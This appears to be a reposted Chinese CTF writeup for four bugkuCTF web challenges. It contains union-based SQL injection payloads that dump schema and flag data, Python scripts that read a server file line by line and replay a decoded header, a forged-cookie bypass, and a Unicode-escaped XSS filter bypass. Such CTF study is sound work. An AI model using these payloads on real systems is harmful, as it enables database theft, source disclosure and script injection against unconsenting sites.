您的位置:首页 > 编程语言 > Python开发

bugkuCTF Writeup (Web)22-25

2018-01-26 11:50 821 查看

成绩单



需要去爆数据库信息

但是发现后台应该是不管查询到多少条记录,只显示一条,所以为了显示爆出的信息,就不能让它查出正常的信息,所以

爆数据库名:
-1' union select 1,database(),3,4#


爆表名:
-1' union select 1,table_name,3,4 from information_schema.tables where table_schema='skctf_flag' #


爆字段名:
-1' union select 1,column_name,3,4 from information_schema.columns where table_name='fl4g'#


取得flag:
-1' union select 1,skctf_flag,3,4 from skctf_flag.fl4g#


Web6



看源码发现要post margin值,再看http响应头,发现有一个flag字段,是base64编码,于是解码提交



发现并不对,原来解码获得的仍然是base64编码


再解码获得一串数字,直接提交仍然不对,还要post给服务器获取flag

手动post过去提示太慢了,这回要用脚本了(python3)

import requests
import base64

s = requests.Session()
r = s.get("http://120.24.86.145:8002/web6/")
head = r.headers['flag']
flag = base64.b64decode(head)
d = {
"margin": base64.b64decode(str(flag).split(":")[1][1:-1])
}
print(head)
print(flag)
print(d)
r = s.post("http://120.24.86.145:8002/web6/", data=d)
print(r.text)


跑出来结果:



cookies欺骗??



点进来看url

http://120.24.86.145:8002/web11/index.php?line=&filename=a2V5cy50eHQ=

filename那里好像提交的是base64编码,解码后发现是keys.txt,去看keys.txt文件里面是乱码。

于是想到去提交index.php的base64编码,

http://120.24.86.145:8002/web11/index.php?line=&filename=aW5kZXgucGhw

仍然是一片空白

还有一个参数line没有用,估计是行号,试探性输入1,竟然显示了一行php代码

在输入2,又是一行,于是用脚本遍历得index.php代码(python3)

import requests
import base64

filename = base64.b64encode(bytes("index.php", "utf-8"))
line = 0
while line < 1000:
url = "http://120.24.86.145:8002/web11/index.php?line=" + str(line) + "&filename=" + str(filename)[2:-1]
r = requests.get(url)
print(r.text)
try:
r.text.index("?>")
except ValueError:
line = line + 1
continue
else:
break


获得源代码:

<?php
error_reporting(0);

$file = base64_decode(isset($_GET['filename']) ? $_GET['filename'] : "");

$line = isset($_GET['line']) ? intval($_GET['line']) : 0;

if ($file == '') header("location:index.php?line=&filename=a2V5cy50eHQ=");

$file_list = array(

'0' => 'keys.txt',

'1' => 'index.php',

);

if (isset($_COOKIE['margin']) && $_COOKIE['margin'] == 'margin') {

$file_list[2] = 'keys.php';

}

if (in_array($file, $file_list)) {

$fa = file($file);

echo $fa[$line];

}

?>


根据代码的意思,要去看keys.php的内容,于是自己添加cookie绕过,然后参数提交keys.php的base64编码,查看源码,在注释里得flag



XSS



题目提示需要xss注入并且带有
alert(_key_)
代码,但是不知道注入点在哪里

根据惯例试了试get参数id,还真是在这里

于是尝试性注入
<script>
发现左右尖括号被过滤了,直接输出的html实体,那么就利用编码绕过,把左右尖括号替换成NATIVE编码
\u003c和\u003e
,注入:
\u003cscript\u003ealert(_key_)\u003c/script\u003e
,再查看源代码,就有结果了。



一时没有想通的是为什么那段js代码没有执行,
<div id="s">
标签内什么都没有
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签:  CTF Web XSS SQL Python